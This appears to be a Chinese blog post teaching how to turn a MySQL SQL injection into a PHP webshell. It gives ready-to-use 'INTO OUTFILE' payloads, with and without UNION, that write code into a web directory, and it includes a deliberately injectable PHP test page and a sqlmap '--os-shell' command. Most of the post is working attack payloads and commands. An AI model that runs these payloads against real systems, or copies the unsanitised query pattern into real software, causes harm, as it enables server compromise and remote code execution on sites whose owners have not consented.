利用需要满足以下条件:
root权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
1.union

id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23
1
id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23
<? phpinfo(); ?>为写入的内容可添加自己的一句话 /home/wwwroot/lu4n.com/luan_phpinfo.php 为已存在的网站目录下的文件即插入文件名
2.no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
1
id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
第二种方法最早最早是在吐司的一个 2015-1-24 的帖子里看到的,吐司果然大牛多。
效果如下:
1.png
这里用的第二种方法是通过插入分隔符号来getshell的,所以必须查询结果有多个列
一般情况下的注入点都是符合条件的。
sqlmap利用方法
以luan_test.php为例:

<?php

@$link= mysql_connect("localhost","root","");
mysql_select_db("mysql",$link);
$user = strtolower($_GET['user']);
if(strpos($user,"union") === false){
    $sql= "SELECT * FROM user where user='{$user}'";
    echo $sql . '<br>';
    mysql_query($sql);
    echo mysql_errno() . ": " . mysql_error(). " ";
}

?>

<?php

@$link= mysql_connect("localhost","root","");
mysql_select_db("mysql",$link);
$user = strtolower($_GET['user']);
if(strpos($user,"union") === false){
    $sql= "SELECT * FROM user where user='{$user}'";
    echo $sql . '<br>';
    mysql_query($sql);
    echo mysql_errno() . ": " . mysql_error(). " ";
}

?>
经测试,sqlmap最新版实际是支持这个方法的:

C:luansqlmap>python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell
1
C:luansqlmap>python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell

但是,如果–os-shell用不了,sqlmap有个写文件的选项,经测试不成功。。。。
3.png
也就是说,sqlmap只能传自己的webshell
4.png
如果工具党遇到这种情况,直接使用sqlmap –os-shell然后用sqlmap上传的Webshell来操作就可以了。
5.png

标签: none

评论已关闭